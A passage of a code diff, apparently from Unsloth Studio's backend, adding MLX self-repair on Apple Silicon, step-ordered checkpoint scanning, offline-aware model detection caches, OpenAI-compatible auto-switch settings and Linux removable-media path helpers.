path], path + + +def attempt_mlx_repair(*, timeout: int = _REPAIR_TIMEOUT_S) -> bool: + """Install a usable mlx/mlx-lm/mlx-vlm stack by name into the running venv. + Best-effort; returns True iff the resulting stack meets unsloth-zoo's minimums + (so a backtracked old mlx-vlm is rejected, not accepted). transformers is held + at its pinned version so the install can never upgrade it underneath Studio.""" + # Prepare the constraint inside the try: this runs on a daemon thread, so an + # exception here (e.g. tempfile.mkstemp failing on a full disk or bad TMPDIR) + # must leave Studio chat-only, not crash the background self-heal thread. + constraint_path = None + try: + constraint_args, constraint_path = _transformers_constraint_args() + cmd = _uv_install_cmd( + "--upgrade", + _ONLY_BINARY_ARG, + *_MLX_REINSTALL_ARGS, + *constraint_args, + *MLX_PACKAGES, + ) + if cmd is None: + logger.warning( + "MLX self-heal requires uv so Studio can apply dependency overrides; " + "staying chat-only. Run `unsloth studio update` to restore uv." + ) + return False + logger.info("MLX self-heal: installing %s", ", ".join(MLX_PACKAGES)) + result = subprocess.run( + cmd, + env = _mlx_install_env(), + stdout = subprocess.PIPE, + stderr = subprocess.STDOUT, + text = True, + timeout = timeout, + ) + except subprocess.TimeoutExpired: + logger.warning("MLX self-heal timed out after %ss; staying chat-only", timeout) + return False + except Exception as exc: # pragma: no cover - environment dependent + logger.warning("MLX self-heal could not start: %s", exc) + return False + finally: + if constraint_path and os.path.exists(constraint_path): + try: + os.remove(constraint_path) + except OSError: + pass + if result.returncode != 0: + tail = (result.stdout or "")[-2000:] + logger.warning("MLX self-heal failed (staying chat-only):\n%s", tail) + return False + importlib.invalidate_caches() + if not mlx_stack_available(): + logger.warning( + "MLX self-heal produced an incomplete or too-old MLX stack " + "(need %s); staying chat-only.", + ", ".join(f"{name}>={ver}" for name, ver in _MLX_MIN_VERSIONS.items()), + ) + return False + return True + + +def _run_repair_and_redetect() -> None: + if not attempt_mlx_repair(): + return + try: + from utils.hardware import hardware as hw + hw.detect_hardware() # flips CHAT_ONLY / DEVICE now that mlx imports + logger.info( + "MLX self-heal succeeded; Train/Export enabled (reload the page). chat_only=%s", + hw.CHAT_ONLY, + ) + except Exception as exc: # pragma: no cover - defensive + logger.warning("MLX installed but hardware re-detection failed: %s", exc) + + +def start_mlx_autorepair_if_needed() -> bool: + """If this is an Apple Silicon host whose MLX stack is missing or too old, + reinstall it on a daemon thread (off the startup critical path) and re-detect + on success. Returns True iff a repair thread was started. No-op (returns False) + off Apple Silicon, when the stack is already adequate, when already attempted + this process, or when disabled via UNSLOTH_DISABLE_MLX_AUTOREPAIR=1.""" + global _attempted + if os.environ.get(DISABLE_ENV_VAR) == "1": + return False + if not is_apple_silicon(): + return False + if mlx_stack_available(): + return False + with _attempted_lock: + if _attempted: + return False + _attempted = True + logger.warning( + "Apple Silicon without a usable MLX stack; attempting a one-time background " + "reinstall of mlx/mlx-lm/mlx-vlm to re-enable Train/Export. " + "Set %s=1 to disable.", + DISABLE_ENV_VAR, + ) + threading.Thread( + target = _run_repair_and_redetect, + daemon = True, + name = "mlx-autorepair", + ).start() + return True diff --git a/studio/backend/utils/models/checkpoints.py b/studio/backend/utils/models/checkpoints.py index 5a992926ec..90e26d45d0 100644 --- a/studio/backend/utils/models/checkpoints.py +++ b/studio/backend/utils/models/checkpoints.py @@ -4,14 +4,124 @@ """Checkpoint scanning utilities for discovering training runs and checkpoints.""" import json +import re import structlog from loggers import get_logger from pathlib import Path from typing import List, Optional, Tuple +from storage.studio_db import get_connection +from utils.training_runs import ( + build_default_output_dir_name, + extract_project_name, + model_segment_from_default_output_dir_name, +) from utils.paths import outputs_root, resolve_output_dir logger = get_logger(__name__) +_CHECKPOINT_STEP_RE = re.compile(r"^checkpoint-(\d+)$") + + +def _checkpoint_step(checkpoint_name: str) -> Optional[int]: + match = _CHECKPOINT_STEP_RE.fullmatch(checkpoint_name) + if match is None: + return None + return int(match.group(1)) + + +def _checkpoint_sort_key(checkpoint_path: Path) -> tuple[int, int, str]: + step = _checkpoint_step(checkpoint_path.name) + if step is not None: + return (0, -step, checkpoint_path.name) + return (1, 0, str(checkpoint_path)) + + +def _infer_base_model_from_history(checkpoint_dir: Path) -> Optional[str]: + """Best-effort base-model lookup using persisted Studio run metadata.""" + checkpoint_name = checkpoint_dir.name + resolved_checkpoint_dir = str(checkpoint_dir.resolve()) + + try: + conn = get_connection() + except Exception: + return None + + try: + exact_rows = conn.execute( + """ + SELECT model_name + FROM training_runs + WHERE output_dir IN (?, ?) + ORDER BY started_at DESC + """, + ( + resolved_checkpoint_dir, + str(checkpoint_dir), + ), + ).fetchall() + for row in exact_rows: + model_name = row["model_name"] + if model_name: + return model_name + + suffix_rows = conn.execute( + """ + SELECT model_name, output_dir + FROM training_runs + WHERE output_dir IS NOT NULL + ORDER BY started_at DESC + """ + ).fetchall() + for row in suffix_rows: + output_dir = str(row["output_dir"] or "").rstrip("/\\") + if not ( + output_dir.endswith(f"/{checkpoint_name}") + or output_dir.endswith(f"\\{checkpoint_name}") + ): + continue + model_name = row["model_name"] + if model_name: + return model_name + + parts = checkpoint_name.rsplit("_", 1) + if len(parts) != 2 or not parts[1].isdigit(): + return None + + timestamp = int(parts[1]) + generated_rows = conn.execute( + """ + SELECT model_name, config_json + FROM training_runs + ORDER BY started_at DESC + """ + ).fetchall() + for row in generated_rows: + model_name = row["model_name"] + if not model_name: + continue + + project_name = None + config_json = row["config_json"] + if config_json: + try: + project_name = extract_project_name(json.loads(config_json)) + except (TypeError, json.JSONDecodeError): + project_name = None + + expected_dir_name = build_default_output_dir_name( + model_name, + project_name, + timestamp = timestamp, + ) + if expected_dir_name == checkpoint_name: + return model_name + except Exception: + return None + finally: + conn.close() + + return None + def _read_checkpoint_loss(checkpoint_path: Path) -> Optional[float]: """Read loss from the last log_history entry of trainer_state.json, or None.""" @@ -37,8 +147,10 @@ def scan_checkpoints( Returns: [(model_name, [(display_name, checkpoint_path, loss), ...], metadata), ...] metadata keys (optional): base_model, peft_type, lora_rank. - First checkpoint entry is the main adapter; its loss mirrors the last - (highest-step) intermediate checkpoint. + First checkpoint entry is the main adapter; its loss mirrors the latest + (highest-step) intermediate checkpoint. Numbered checkpoints are sorted + by numeric step descending; non-numbered checkpoint-* dirs keep the + previous lexicographic directory order. """ models = [] outputs_path = resolve_output_dir(outputs_dir) @@ -87,9 +199,11 @@ def scan_checkpoints( # Fallback: extract base model name from the folder name, e.g. # "unsloth_Llama-3.2-3B-Instruct_1771227800" → "unsloth/Llama-3.2-3B-Instruct" if not metadata.get("base_model"): - parts = item.name.rsplit("_", 1) - if len(parts) == 2 and parts[1].isdigit(): - name_part = parts[0] + metadata["base_model"] = _infer_base_model_from_history(item) + + if not metadata.get("base_model"): + name_part = model_segment_from_default_output_dir_name(item.name) + if name_part: idx = name_part.find("_") if idx > 0: metadata["base_model"] = name_part[:idx] + "/" + name_part[idx + 1 :] @@ -103,18 +217,25 @@ def scan_checkpoints( checkpoints.append((item.name, str(item), None)) # Scan for intermediate checkpoints (checkpoint-N subdirs). - for sub in sorted(item.iterdir()): + valid_checkpoints = [] + for sub in item.iterdir(): if not sub.is_dir() or not sub.name.startswith("checkpoint-"): continue sub_config = sub / "config.json" sub_adapter = sub / "adapter_config.json" if sub_config.exists() or sub_adapter.exists(): - loss = _read_checkpoint_loss(sub) - checkpoints.append((sub.name, str(sub), loss)) + valid_checkpoints.append(sub) - # Assign the last checkpoint's loss to the main adapter entry. - if len(checkpoints) > 1: - last_checkpoint_loss = checkpoints[-1][2] + intermediate_checkpoints = [] + for sub in sorted(valid_checkpoints, key = _checkpoint_sort_key): + loss = _read_checkpoint_loss(sub) + intermediate_checkpoints.append((sub.name, str(sub), loss)) + + checkpoints.extend(intermediate_checkpoints) + + # Assign the latest checkpoint's loss to the main adapter entry. + if intermediate_checkpoints: + last_checkpoint_loss = intermediate_checkpoints[0][2] checkpoints[0] = ( checkpoints[0][0], checkpoints[0][1], @@ -133,3 +254,64 @@ def scan_checkpoints( except Exception as e: logger.error(f"Error scanning checkpoints: {e}") return [] + + +def _is_model_dir(path: Path) -> bool: + return (path / "config.json").exists() or (path / "adapter_config.json").exists() + + +def has_preview_model(output_dir: Optional[str]) -> bool: + """True when ``output_dir`` holds a previewable root model (what ``/p/{run}`` + resolves). A cancelled run keeps ``output_dir`` but saves no root adapter.""" + if not output_dir: + return False + path = Path(output_dir) + return path.is_dir() and _is_model_dir(path) + + +def preview_ref(output_dir: Optional[str]) -> Optional[str]: + """``/p`` ref (``run`` or ``run/checkpoint``) relative to outputs_root, or None. + + Posix-joined so a nested output dir keeps a working link instead of collapsing + to its basename. None when not previewable, outside outputs_root, or deeper than + the two path segments the ``/p`` route matches (so the UI omits a dead link). + """ + if not has_preview_model(output_dir): + return None + try: + rel = Path(output_dir).resolve().relative_to(outputs_root().resolve()) + except (ValueError, OSError): + return None + parts = rel.parts + if not parts or len(parts) > 2: + return None + return "/".join(parts) + + +def resolve_preview_checkpoint(run: str, checkpoint: Optional[str] = None) -> Path: + relative = run if not checkpoint else f"{run}/{checkpoint}" + path = resolve_output_dir(relative) + if not path.is_dir() or not _is_model_dir(path): + raise FileNotFoundError( + f"No trained checkpoint at '{relative}'. Check the run/checkpoint name (see GET /p)." + ) + return path + + +def list_preview_targets(outputs_dir: str = str(outputs_root())) -> List[dict]: + targets: List[dict] = [] + for run_name, checkpoints, metadata in scan_checkpoints(outputs_dir): + for display_name, path, loss in checkpoints: + is_latest = display_name == run_name + checkpoint = None if is_latest else Path(path).name + targets.append( + { + "run": run_name, + "checkpoint": checkpoint, + "ref": run_name if is_latest else f"{run_name}/{checkpoint}", + "is_latest": is_latest, + "loss": loss, + "base_model": metadata.get("base_model"), + } + ) + return targets diff --git a/studio/backend/utils/models/model_config.py b/studio/backend/utils/models/model_config.py index 11fe58e6c3..281ca24281 100644 --- a/studio/backend/utils/models/model_config.py +++ b/studio/backend/utils/models/model_config.py @@ -44,13 +44,15 @@ from utils.subprocess_compat import ( logger = get_logger(__name__) +_OFFLINE_TRUE_VALUES = {"1", "true", "yes", "on"} + + def _env_offline() -> bool: - """True if HF_HUB_OFFLINE or TRANSFORMERS_OFFLINE is set to a truthy value.""" - return os.environ.get("HF_HUB_OFFLINE", "").lower() in ( - "1", - "true", - "yes", - ) or os.environ.get("TRANSFORMERS_OFFLINE", "").lower() in ("1", "true", "yes") + """True if an HF offline env var is truthy (canonical strip+lower parse, on/true/yes/1).""" + return ( + os.environ.get("HF_HUB_OFFLINE", "").strip().lower() in _OFFLINE_TRUE_VALUES + or os.environ.get("TRANSFORMERS_OFFLINE", "").strip().lower() in _OFFLINE_TRUE_VALUES + ) # ── Model size extraction ──────────────────────────────────── @@ -471,6 +473,7 @@ def load_model_config( use_auth: bool = False, token: Optional[str] = None, trust_remote_code: bool = False, + local_files_only: bool = False, ): """Load model config with optional authentication control. @@ -478,12 +481,18 @@ def load_model_config( metadata lookups must never execute a model repo's ``auto_map`` Python. Deliberate remote-code loads pass the flag explicitly through ``FastLanguageModel.from_pretrained`` with the user's own consent. + + ``local_files_only`` keeps the config read on the local HF cache (offline + export), so an offline probe never blocks on the network. """ from transformers import AutoConfig if token: return AutoConfig.from_pretrained( - model_name, trust_remote_code = trust_remote_code, token = token + model_name, + trust_remote_code = trust_remote_code, + token = token, + local_files_only = local_files_only, ) if not use_auth: @@ -493,12 +502,14 @@ def load_model_config( model_name, trust_remote_code = trust_remote_code, token = None, + local_files_only = local_files_only, ) # Default auth (cached tokens) return AutoConfig.from_pretrained( model_name, trust_remote_code = trust_remote_code, + local_files_only = local_files_only, ) @@ -598,7 +609,9 @@ def _is_vlm(config) -> bool: def _raw_config_has_vision_config( - model_name: str, hf_token: Optional[str] = None + model_name: str, + hf_token: Optional[str] = None, + local_files_only: bool = False, ) -> Optional[bool]: try: if is_local_path(model_name): @@ -610,6 +623,7 @@ def _raw_config_has_vision_config( repo_id = model_name, filename = "config.json", token = hf_token, + local_files_only = local_files_only, ) ) config = json.loads(config_path.read_text()) @@ -776,27 +790,20 @@ def _token_fingerprint(token: Optional[str]) -> Optional[str]: return hashlib.sha256(token.encode("utf-8")).hexdigest() -# Cache vision detection per session to avoid repeated subprocess spawns. -# Keyed by (normalized_model_name, token_fingerprint) to handle gated models. -# Only definitive results are cached; transient failures (network, timeouts) -# are NOT cached so they can be retried. -_vision_detection_cache: Dict[Tuple[str, Optional[str]], bool] = {} +# Vision detection cache keyed by (name, token, local_files_only); only definitive results cached. +_vision_detection_cache: Dict[Tuple[str, Optional[str], bool], bool] = {} _vision_cache_lock = threading.Lock() -def is_vision_model(model_name: str, hf_token: Optional[str] = None) -> bool: - """ - Detect vision-language models (VLMs) via architecture in config. Works for - fine-tuned models since they inherit the base architecture. - - Models needing transformers 5.x are checked in a .venv_t5/ subprocess. - Results are cached per (model_name, token_fingerprint) for the process - lifetime; transient failures are not cached so they can be retried. - - Args: - model_name: Model identifier (HF repo or local path) - hf_token: Optional HF token for gated/private models - """ +def is_vision_model( + model_name: str, + hf_token: Optional[str] = None, + local_files_only: bool = False, +) -> bool: + """Detect VLMs via the config architecture (works for fine-tunes); transformers-5.x + models are checked in a .venv_t5/ subprocess. Cached per (model_name, token, + local_files_only) minus transient failures; local_files_only is in the key so an + offline probe never shares an online entry.""" # Local GGUF models are served by llama-server. Their multimodal # capability comes from a companion mmproj, not a Transformers config. # Do not cache this lookup: a projector may be added beside an existing @@ -829,7 +836,10 @@ def is_vision_model(model_name: str, hf_token: Optional[str] = None) -> bool: exc, ) resolved_name = model_name - cache_key = (resolved_name, _token_fingerprint(hf_token)) + # Key on effective offline (kwarg OR env) so an offline probe can't poison a later + # online lookup once the env var is cleared. + effective_offline = bool(local_files_only or _env_offline()) + cache_key = (resolved_name, _token_fingerprint(hf_token), effective_offline) # Lock-free fast path for cache hits. Sentinel distinguishes "key not found" # from "value is False" in a single atomic dict.get() call. @@ -840,7 +850,7 @@ def is_vision_model(model_name: str, hf_token: Optional[str] = None) -> bool: # Compute outside the lock so long-running detection isn't serialized across # models. Two concurrent calls may both run, but produce the same result. - result = _is_vision_model_uncached(resolved_name, hf_token) + result = _is_vision_model_uncached(resolved_name, hf_token, local_files_only = effective_offline) # Only cache definitive results; None is a transient failure, retry later. if result is not None: with _vision_cache_lock: @@ -849,7 +859,11 @@ def is_vision_model(model_name: str, hf_token: Optional[str] = None) -> bool: return False -def _is_vision_model_uncached(model_name: str, hf_token: Optional[str] = None) -> Optional[bool]: +def _is_vision_model_uncached( + model_name: str, + hf_token: Optional[str] = None, + local_files_only: bool = False, +) -> Optional[bool]: """Uncached vision detection; use is_vision_model() instead. Returns True/False for definitive results, or None on transient errors @@ -858,15 +872,17 @@ def _is_vision_model_uncached(model_name: str, hf_token: Optional[str] = None) - # Try the raw-config reader FIRST (code-free, version-independent): it classifies # repo-code VLMs like DeepSeek-OCR via declarative vision_config with no remote-code # execution or transformers-5.x subprocess. - raw = _raw_config_has_vision_config(model_name, hf_token = hf_token) + raw = _raw_config_has_vision_config( + model_name, hf_token = hf_token, local_files_only = local_files_only + ) if raw is not None: return raw - # Raw read failed transiently: fall back to AutoConfig with remote code DISABLED - # (in a transformers-5.x subprocess when the main process can't parse the arch). + # Raw read failed transiently: fall back to AutoConfig (remote code DISABLED), via a + # transformers-5.x subprocess if needed. Skip that subprocess offline (it probes the network). from utils.transformers_version import needs_transformers_5 - if needs_transformers_5(model_name): + if not local_files_only and needs_transformers_5(model_name): logger.info( "Model '%s' needs transformers 5.x -- checking vision via subprocess", model_name, @@ -874,7 +890,12 @@ def _is_vision_model_uncached(model_name: str, hf_token: Optional[str] = None) - return _is_vision_model_subprocess(model_name, hf_token = hf_token) try: - config = load_model_config(model_name, use_auth = True, token = hf_token) + config = load_model_config( + model_name, + use_auth = True, + token = hf_token, + local_files_only = local_files_only, + ) if _is_vlm(config): model_type = getattr(config, "model_type", None) @@ -914,9 +935,9 @@ def _is_vision_model_uncached(model_name: str, hf_token: Optional[str] = None) - VALID_AUDIO_TYPES = ("snac", "csm", "bicodec", "dac", "whisper", "audio_vlm") -# Keyed by (normalized_name, token_fingerprint) like the vision cache, so an -# unauthenticated miss (None) cannot poison a later authenticated lookup. -_audio_detection_cache: Dict[Tuple[str, Optional[str]], Optional[str]] = {} +# Keyed like the vision cache by (name, token, local_files_only) so an unauthenticated +# or offline miss cannot poison a later authenticated / online lookup. +_audio_detection_cache: Dict[Tuple[str, Optional[str], bool], Optional[str]] = {} # Tokenizer token patterns → audio_type (all 6 types from tokenizer_config.json) _AUDIO_TOKEN_PATTERNS = { @@ -935,12 +956,20 @@ _AUDIO_TOKEN_PATTERNS = { } -def detect_audio_type(model_name: str, hf_token: Optional[str] = None) -> Optional[str]: +def detect_audio_type( + model_name: str, + hf_token: Optional[str] = None, + local_files_only: bool = False, +) -> Optional[str]: """Detect if a model is an audio model and return its type. Works for any model via tokenizer_config.json special tokens. Returns an audio_type string ('snac', 'csm', 'bicodec', 'dac', 'whisper', 'audio_vlm') or None. + + When local_files_only is True (offline export) the remote HuggingFace fetch + is skipped so detection never blocks on a network read; only the local HF + cache is consulted. """ # Normalize casing + include the token fingerprint (mirrors is_vision_model). try: @@ -950,11 +979,16 @@ def detect_audio_type(model_name: str, hf_token: Optional[str] = None) -> Option resolved_name = resolve_cached_repo_id_case(model_name) except Exception: resolved_name = model_name - cache_key = (resolved_name, _token_fingerprint(hf_token)) + # Key on effective offline (kwarg OR env), matching where the remote fetch is skipped, + # so an offline negative can't poison a later online probe. + effective_offline = bool(local_files_only or _env_offline()) + cache_key = (resolved_name, _token_fingerprint(hf_token), effective_offline) if cache_key in _audio_detection_cache: return _audio_detection_cache[cache_key] - result, definitive = _detect_audio_from_tokenizer(model_name, hf_token) + result, definitive = _detect_audio_from_tokenizer( + model_name, hf_token, local_files_only = effective_offline + ) # Cache only definitive results; a transient read failure stays None and retries. if definitive: _audio_detection_cache[cache_key] = result @@ -964,12 +998,15 @@ def detect_audio_type(model_name: str, hf_token: Optional[str] = None) -> Option def _detect_audio_from_tokenizer( - model_name: str, hf_token: Optional[str] = None + model_name: str, + hf_token: Optional[str] = None, + local_files_only: bool = False, ) -> Tuple[Optional[str], bool]: """Detect audio type from tokenizer special tokens. - Checks local HF cache first, then fetches tokenizer_config.json from HF; - examines added_tokens_decoder for distinctive patterns. + Checks local HF cache first, then (unless local_files_only) fetches + tokenizer_config.json from HF; examines added_tokens_decoder for distinctive + patterns. Returns (audio_type_or_None, definitive). definitive is False only on a transient read failure (network/timeout/5xx) so the caller skips caching and @@ -1009,7 +1046,11 @@ def _detect_audio_from_tokenizer( except Exception as e: logger.debug(f"Could not check local cache for {model_name}: {e}") - # 2) Fall back to HuggingFace API + # 2) Fall back to the HuggingFace API. This raw requests.get ignores the HF offline + # flag, so gate it on local_files_only OR the env vars to skip the network offline. + if local_files_only or _env_offline(): + return None, read_any + try: import requests import os @@ -1576,36 +1617,60 @@ def _iter_hf_cache_snapshots(repo_id: str): cache_dir = Path(hf_constants.HF_HUB_CACHE) target = f"models--{repo_id.replace('/', '--')}".lower() - repo_dir: Optional[Path] = None + repo_dirs: list[Path] = [] try: if not cache_dir.is_dir(): return for entry in cache_dir.iterdir(): if entry.is_dir() and entry.name.lower() == target: - repo_dir = entry - break + repo_dirs.append(entry) except OSError: return - if repo_dir is None: + if not repo_dirs: return - snapshots = repo_dir / "snapshots" - try: - if not snapshots.is_dir(): - return - snap_dirs = [s for s in snapshots.iterdir() if s.is_dir()] - except OSError: + snap_dirs: list[Path] = [] + for repo_dir in repo_dirs: + snapshots = repo_dir / "snapshots" + try: + if snapshots.is_dir(): + for snap_dir in snapshots.iterdir(): + try: + if snap_dir.is_dir(): + snap_dirs.append(snap_dir) + except OSError: + continue + except OSError: + continue + if not snap_dirs: return - snap_dirs.sort(key = lambda s: s.stat().st_mtime, reverse = True) - yield from snap_dirs + snap_dirs_with_mtime = [] + for snap_dir in snap_dirs: + try: + snap_dirs_with_mtime.append((snap_dir.stat().st_mtime, snap_dir)) + except OSError: + continue + snap_dirs_with_mtime.sort(key = lambda item: item[0], reverse = True) + yield from (snap_dir for _, snap_dir in snap_dirs_with_mtime) def _list_gguf_variants_from_hf_cache(repo_id: str) -> Optional[tuple[list[GgufVariantInfo], bool]]: - """Variants from the local HF cache snapshot, or None if not cached.""" + """Variants from the local HF cache snapshot, or None if not cached. + + A newer snapshot can hold only a companion file (for example a vision + projector fetched on demand) while the quant files live in an older + snapshot. Returning the first snapshot that merely reports a vision flag + would shadow those real variants, so keep scanning older snapshots for + actual variants and carry the vision flag across snapshots. + """ + any_vision = False for snap in _iter_hf_cache_snapshots(repo_id): variants, has_vision = list_local_gguf_variants(str(snap)) - if variants or has_vision: - return variants, has_vision + any_vision = any_vision or has_vision + if variants: + return variants, any_vision + if any_vision: + return [], True return None @@ -2354,6 +2419,12 @@ def load_model_defaults(model_name: str) -> Dict[str, Any]: MODEL_NAME_MAPPING aliases, else falls back to default.yaml. Returns the parameter dict, or {} if none found. """ + # No model selected yet (or a non-string id): nothing to load. Guard before + # the .lower() calls below so this doesn't raise and get logged as + # "Error loading model defaults for None: 'NoneType' object has no attribute + # 'lower'". + if not isinstance(model_name, str) or not model_name: + return {} try: script_dir = Path(__file__).parent.parent.parent defaults_dir = script_dir / "assets" / "configs" / "model_defaults" diff --git a/studio/backend/utils/openai_auto_switch_settings.py b/studio/backend/utils/openai_auto_switch_settings.py new file mode 100644 index 0000000000..1689395f40 --- /dev/null +++ b/studio/backend/utils/openai_auto_switch_settings.py @@ -0,0 +1,180 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Persisted opt-in controls for OpenAI-compatible model auto-switching. + +Two settings, both off by default so existing API behavior is unchanged: +- ``openai_api_auto_switch_model``: when on, a ``/v1`` request whose ``model`` + names a downloaded local GGUF different from the loaded one transparently + loads it before serving (llama-swap-style). Unknown names pass through. +- ``openai_api_auto_unload_idle_seconds``: when > 0, the loaded GGUF is + unloaded after this many idle seconds to free VRAM. + +The idle TTL can also be set at startup via the ``UNSLOTH_MODEL_IDLE_TTL`` env +var. Unlike the stored setting (which stays gated on auto-switch), the env value +is a standalone default that enables idle-unload even with auto-switch off, for +headless/container deploys; an explicit UI/API value still overrides it. + +Reads are cached for a short window because these are consulted on the +per-request hot path; writes invalidate the cache. +""" + +from __future__ import annotations + +import os +import threading +import time +from typing import Any, Optional + +OPENAI_AUTO_SWITCH_SETTING_KEY = "openai_api_auto_switch_model" +AUTO_UNLOAD_IDLE_SETTING_KEY = "openai_api_auto_unload_idle_seconds" +MODEL_OVERRIDES_SETTING_KEY = "openai_api_auto_switch_overrides" +MODEL_IDLE_TTL_ENV_VAR = "UNSLOTH_MODEL_IDLE_TTL" + +DEFAULT_OPENAI_AUTO_SWITCH_ENABLED = False +DEFAULT_AUTO_UNLOAD_IDLE_SECONDS = 0 + +_CACHE_TTL_S = 2.0 +_cache_lock = threading.Lock() +_cache: dict[str, tuple[float, Any]] = {} + + +def _coerce_bool(value: Any) -> bool | None: + if isinstance(value, bool): + return value + if isinstance(value, str): + normalized = value.strip().lower() + if normalized in {"1", "true", "yes", "on"}: + return True + if normalized in {"0", "false", "no", "off", ""}: + return False + return None + + +def _coerce_int(value: Any) -> int | None: + try: + return max(0, int(value)) + except (TypeError, ValueError): + return None + + +def _cached_setting(key: str, default: Any) -> Any: + """Read an app setting, memoized for _CACHE_TTL_S to spare the hot path.""" + now = time.monotonic() + with _cache_lock: + hit = _cache.get(key) + if hit is not None and now - hit[0] < _CACHE_TTL_S: + return hit[1] + try: + from storage.studio_db import get_app_setting + stored = get_app_setting(key, None) + except Exception: + stored = None + value = default if stored is None else stored + with _cache_lock: + _cache[key] = (now, value) + return value + + +def _invalidate(key: str) -> None: + with _cache_lock: + _cache.pop(key, None) + + +def get_openai_auto_switch_enabled() -> bool: + parsed = _coerce_bool(_cached_setting(OPENAI_AUTO_SWITCH_SETTING_KEY, None)) + return parsed if parsed is not None else DEFAULT_OPENAI_AUTO_SWITCH_ENABLED + + +def _stored_idle_seconds() -> Optional[int]: + """The persisted idle TTL as an int, or None when never set.""" + return _coerce_int(_cached_setting(AUTO_UNLOAD_IDLE_SETTING_KEY, None)) + + +def _env_idle_seconds() -> Optional[int]: + """UNSLOTH_MODEL_IDLE_TTL as a non-negative seconds value, or None if unset/invalid.""" + raw = os.environ.get(MODEL_IDLE_TTL_ENV_VAR) + if raw is None or not raw.strip(): + return None + return _coerce_int(raw) + + +def get_stored_auto_unload_idle_seconds() -> int: + """The persisted idle-unload TTL, independent of whether auto-switch is on. + + The settings UI reads this so it can display and round-trip the saved value; + toggling auto-switch off must not erase it. Falls back to the env override so + the UI shows the startup default. The idle loop uses the gated reader below. + """ + stored = _stored_idle_seconds() + if stored is not None: + return stored + env = _env_idle_seconds() + return env if env is not None else DEFAULT_AUTO_UNLOAD_IDLE_SECONDS + + +def get_auto_unload_idle_seconds() -> int: + """Effective idle TTL the idle loop runs on (0 = never unload).""" + stored = _stored_idle_seconds() + if stored is not None: + # An explicit UI/API value stays gated on auto-switch: off reports 0 so the + # off state is identical to pre-feature. + return stored if get_openai_auto_switch_enabled() else 0 + # No stored value: UNSLOTH_MODEL_IDLE_TTL is a standalone startup default that + # enables idle-unload even with auto-switch off (headless/container deploys). + env = _env_idle_seconds() + return env if env is not None else 0 + + +def set_openai_auto_switch(enabled: Any, idle_seconds: Any) -> tuple[bool, int]: + """Set both auto-switch flags in one transaction so a settings PUT can't leave + one key updated and the other stale. Both values are coerced before any write, + so an invalid value raises without persisting either.""" + parsed_enabled = _coerce_bool(enabled) + if parsed_enabled is None: + raise ValueError("OpenAI auto-switch must be true or false.") + parsed_idle = _coerce_int(idle_seconds) + if parsed_idle is None: + raise ValueError("Auto-unload idle seconds must be a non-negative integer.") + from storage.studio_db import upsert_app_settings + + upsert_app_settings( + {OPENAI_AUTO_SWITCH_SETTING_KEY: parsed_enabled, AUTO_UNLOAD_IDLE_SETTING_KEY: parsed_idle} + ) + _invalidate(OPENAI_AUTO_SWITCH_SETTING_KEY) + _invalidate(AUTO_UNLOAD_IDLE_SETTING_KEY) + return parsed_enabled, parsed_idle + + +def get_model_overrides() -> dict[str, dict]: + """Per-model launch overrides keyed by model id ({llama_extra_args, max_seq_length}).""" + raw = _cached_setting(MODEL_OVERRIDES_SETTING_KEY, None) + return raw if isinstance(raw, dict) else {} + + +def get_model_override(model_id: str) -> dict: + """The launch override applied when auto-switch loads ``model_id`` (or empty).""" + override = get_model_overrides().get(model_id) + return override if isinstance(override, dict) else {} + + +def set_model_override( + model_id: str, + llama_extra_args: Optional[list[str]] = None, + max_seq_length: Optional[int] = None, +) -> dict: + """Upsert one model's launch override; an override with no fields removes it.""" + if not model_id or not model_id.strip(): + raise ValueError("model_id is required.") + entry: dict[str, Any] = {} + if llama_extra_args: + entry["llama_extra_args"] = [str(arg) for arg in llama_extra_args] + if max_seq_length: + entry["max_seq_length"] = max(0, int(max_seq_length)) + + from storage.studio_db import upsert_app_setting_map_entry + + # Atomic per-entry merge so two PUTs for different models can't drop each other. + upsert_app_setting_map_entry(MODEL_OVERRIDES_SETTING_KEY, model_id.strip(), entry or None) + _invalidate(MODEL_OVERRIDES_SETTING_KEY) + return entry diff --git a/studio/backend/utils/paths/external_media.py b/studio/backend/utils/paths/external_media.py new file mode 100644 index 0000000000..1f1754664f --- /dev/null +++ b/studio/backend/utils/paths/external_media.py @@ -0,0 +1,100 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""External media path helpers.""" + +from __future__ import annotations + +import getpass +import os +import platform +from pathlib import Path + +from utils.paths.sensitive import ( + contains_sensitive_path_component, + is_sensitive_path_component, +) + + +def _is_linux_media_mount_path(path: str, media_root: Path | str) -> bool: + normalized = os.path.normpath(os.path.realpath(os.path.expanduser(path))) + root = os.path.normpath(os.path.realpath(os.path.expanduser(str(media_root)))) + try: + rel = os.path.relpath(normalized, root) + except ValueError: + return False + if rel == "." or rel == ".." or rel.startswith(f"..{os.sep}"): + return False + parts = [part for part in rel.split(os.sep) if part] + return len(parts) >= 2 and all(part not in (".", "..") for part in parts[:2]) + + +def is_linux_run_media_path(path: str) -> bool: + """True for Linux removable-media paths under /run/media//.""" + if platform.system() != "Linux": + return False + return _is_linux_media_mount_path(path, "/run/media") + + +def _current_username() -> str | None: + try: + user = getpass.getuser().strip() + except Exception: + return None + return user or None + + +def _contains_sensitive_media_component(path: Path, media_root: Path) -> bool: + try: + rel = path.relative_to(media_root) + except ValueError: + rel = path + return contains_sensitive_path_component(str(rel)) + + +def linux_run_media_mount_roots( + base: Path | str = "/run/media", *, user: str | None = None +) -> list[Path]: + """Readable /run/media// roots for the folder browser.""" + if platform.system() != "Linux": + return [] + user = user or _current_username() + if not user or user in (".", "..") or os.sep in user: + return [] + base_path = Path(base) + try: + resolved_base = base_path.resolve() + except (OSError, RuntimeError, ValueError): + return [] + + roots: list[Path] = [] + seen: set[str] = set() + user_dir = base_path / user + try: + if not user_dir.is_dir(): + return [] + volume_dirs = list(user_dir.iterdir()) + except (OSError, RuntimeError, ValueError): + return [] + for volume_dir in volume_dirs: + if is_sensitive_path_component(volume_dir.name): + continue + try: + resolved = volume_dir.resolve() + except (OSError, RuntimeError, ValueError): + continue + if not _is_linux_media_mount_path(str(resolved), resolved_base): + continue + if _contains_sensitive_media_component(resolved, resolved_base): + continue + key = os.path.normcase(os.path.realpath(str(resolved))) + if key in seen: + continue + try: + is_dir = resolved.is_dir() + except OSError: + continue + if is_dir and os.access(resolved, os.R_OK | os.X_OK): 